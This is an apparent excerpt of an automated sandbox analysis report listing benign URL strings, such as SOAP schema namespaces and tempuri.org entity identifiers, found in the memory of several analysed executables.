Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: 110B.exe, 0000001E.00000002.552596052.00000000028A0000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576020249.0000000002DE0000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575020913.00000000031F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575766202.0000000003267000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576644571.0000000002EA9000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response(
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response(
Source: 110B.exe, 0000001E.00000002.553512076.0000000002ABE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 110B.exe, 0000001E.00000002.553512076.0000000002ABE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 110B.exe, 0000001E.00000002.553512076.0000000002ABE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4(
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
